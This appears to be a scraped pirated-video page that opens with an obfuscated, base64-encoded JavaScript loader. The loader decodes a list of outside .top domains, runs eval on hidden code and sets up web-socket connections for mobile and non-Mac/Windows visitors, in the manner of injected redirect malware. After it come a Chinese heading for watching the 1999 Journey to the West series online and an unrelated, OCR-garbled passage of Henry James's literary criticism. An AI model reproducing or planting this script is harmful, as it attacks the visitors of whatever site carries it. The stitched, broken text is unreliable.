function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'dn' + 'fAf' + 'sBT' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("d3QueWdiZmFxLnRvcCx3Yi50cnVoYWZhLnRvcCx3Zy5mdHVqZ2EudG9w"); var dnum = 3; var snum = "3"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); 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劇情簡介
西游記1999年央視版在線觀看劇情介紹:
Trying to recover here, for recognition, the germ of my idea, I see that it must have consisted not at all in any conceit of a "plot," nefarious name, in any flash, upon the fancy, of a set of relations, or in any one of those situations that, by a logic of their own,immediately fall, for the fabulist, into movement,into a march or a rush, a patter of quick steps; but altogether in the sense of a single character, the character and aspect of a particular engaging young woman, to which all the usual elements of a "subject,"certainly of a setting, were to need to be super added.Quite as interesting as the young woman herself at her best, do I 昀nd, I must again repeat, this projection of memory upon the whole matter of the growth, in one＇s imagination, of some such apology for a motive. These are the fascinations of the fabulist＇s art, these lurking forces of expansion, these necessities of upspringing in the seed, these beautiful determinations, on the part of the idea entertained, to grow as tall as possible,to push into the light and the air and thickly flower there; and, quite as much, these fine possibilities of recovering, from some good standpoint on the ground gained, the intimate history of the business—of retracing and reconstructing its steps and stages.I have always fondly remembered a remark that I heard fall years ago from the lips of Ivan Turgenieff in regard to his own experience of the usual origin of the昀ctive picture. It began for him almost always with the vision of some person or persons, who hovered before him, soliciting him, as the active or passive figure,interesting him and appealing to him just as they were and by what they were. He saw them, in that fashion,as disponibles, saw them subject to the chances, the complications of existence, and saw them vividly, but then had to 昀nd for them the right relations, those that would most bring them out; to imagine, to invent and select and piece together the situations most useful and favourable to the sense of the creatures themselves, the complications they would be most likely to produce and to feel.
